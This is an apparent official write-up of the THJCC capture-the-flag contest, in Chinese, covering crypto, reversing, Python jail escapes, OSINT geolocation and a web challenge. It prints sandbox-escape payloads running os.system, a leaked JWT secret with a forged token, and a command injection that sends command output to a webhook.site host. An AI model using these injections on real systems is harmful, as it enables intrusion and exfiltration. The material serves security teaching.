THJCC CTF official writeup
Author:堇姬Naup
Source Code : https://github.com/Naupjjin/THJCC-CTF-source-code
Crypto
JPG^PNG=?
source
1 | from itertools import cycle |
他將png作為key跟一張.jpg前8位做xor運算
但我們知道png前8位是固定的所以就再做一次xor就可以了
[0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A]
solve
1 | from PIL import Image |

THJCC{IM3_X52_a4dc133un_sta2t}
《SSS.GRIDMAN》
source
1 | import numpy |
他創建了一個二次函數(
再來他會隨機生成
最後寫出來會是個三元一次方程式,並且有三條式子,所以我們就可以解聯立方程來找出secret 輸入正確的secret就可以拿到flag
script
1 | import numpy as np |
THJCC{SSS_1s_a_c001_w2y_t0_pr0t3c7_s3c23t}
Reverse
PYC REVERSE
給你一個msg檔案跟.pyc,嘗試用線上工具逆.pyc
https://tool.lu/en_US/pyc/
1 | #!/usr/bin/env python |
做了很多xor運算
因為xor兩次相同東西會消掉,所以就看他xor了甚麼再做一次就好了
script
1 | from Crypto.Util.number import long_to_bytes |
Misc
PyJail-0
source
1 | WELCOME=''' |
會把我們的輸入送到eval裡面
我們知道python裡面有很多magic function
可以用python的magic function
1 | __import__('os').system('ls') |
相當於
1 | import os |
最後在
1 | __import__('os').system('cat flag.txt') |
就可以cat flag了
THJCC{Use_M2g1c_f2un3ti0n_in_P9Ja1l!!}
PyJail-1
source
1 | WELCOME=''' |
這次加上了長度限制15字
但其實很好繞
如果我輸入
1 | eval(input()) |
他會先讓eval(input())被當程式碼執行,這樣子就跟第一題一樣了,因為你的input,會直接進到eval
1 | __import__("os").system("ls") |
THJCC{Inp3t_b9p2sss_lim1t_1n+p3j2i1!}
Geoguesser???
給了你一個twitter帳號連結
https://twitter.com/rrharil0302/status/1776462043761238290
他要你找出圖中的補習班經緯度
首先你觀察一下會發現上面有一組電話號碼
直接搜
0790632758
會找到這家補習班
https://ivry.jp/telsearch/0790632758/
去google map搜就可以找到經緯度了
1 | 兵庫県宍粟市山崎町鹿沢68−6 |

THJCC{35.0039_134.5426}
I want to go to Japan!
一樣是一個twitter帳號
https://twitter.com/rrharil0302/status/1782034885626188150
給了一張

嘗試去搜尋他找到
https://twitter.com/YUNOHAMA_hotel/status/1765316443543937478
找到這個溫泉後
搜湯の浜ホテル 神社
找到了https://onsen-musume.jp/news/7322
知道是倉湯神社
直接去wiki上找就找到經緯度了
THJCC{41.782_140.791}
Insane
FFAM(Find Flag Automaticaliiy Machine)
首先進到頁面會看到一個頁面,他會報RAM不夠的問題,並且他有提示你,If you want to use small shell, you can go to /webshell

先去分析source code

去看 server.py
首先看到了關於session跟JWT相關的,session secret key非常大,顯然沒辦法偽造。
另外我們知道JWT的Secret Key存在ASECRETKEY.txt
設定了一個cookie,叫做YourToKeNinShop
這是一個處理買賣的route,你可以發現到這裡有一個商品較RAM需要驗證你的JWT,並且可以注意到,他可以輸入負數,來讓你的錢變多。
這裡表示了你需要拿到三個RAM讓你的RAM足夠才可以使用
還有兩個shell,一個可以直接打開,一個則要有三個RAM才可以使用

首先我們首要目標是買到三個RAM,所以我先去商店看看(/ShopAboutComputerEquipment)

確實有賣RAM,但有兩個問題
- 錢不夠
- 權限不夠(要繞過JWT驗證)
錢不夠可以用輸入負數,來增加錢

接下來要偽造JWT,但我要怎麼leak secret key
或許可以嘗試利用第一個shell
但他有一些限制,他過濾掉了很多字符以及限制你只能使用五個字
這裡你會發現有個方法,因為你的ASECRETKEY.txt,是文字檔,並且觀察一下他會是第一個檔案
所以你如果嘗試去執行他+通配符,就可以leak 內容
$0 -> /bin/sh
1 | $0 * |

1 | asajwjklkfjsiogljkqlskqjhejmslzotejejwlsllhkfjazxaaaiqpoiooriwjsxsdafjipwei |
再來就是偽造JWT了
1 | import jwt |
JWT token
1 | eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6Ik5hdXAifQ.va7XuRq8UZjwm4AbIc1YQm1HUPKJUMBWhposWRQMoGw |
就可以買到三個RAM了
接下來就可以連到
他一樣有很多的過濾,並會把你輸入的東西放到cat <放到這裡>.txt並執行(並且你不知道flag的檔名,所以要先ls)
這邊使用curl來把印出的東西送到webhook
1 | $(curl https://webhook.site/a1c996f6-5e0b-44f7-b6c0-14c76091d85c -X POST -d "$(ls)") |


THJCC{F1nd_F1ag_2ut0m2t1c_mach1n3!!!}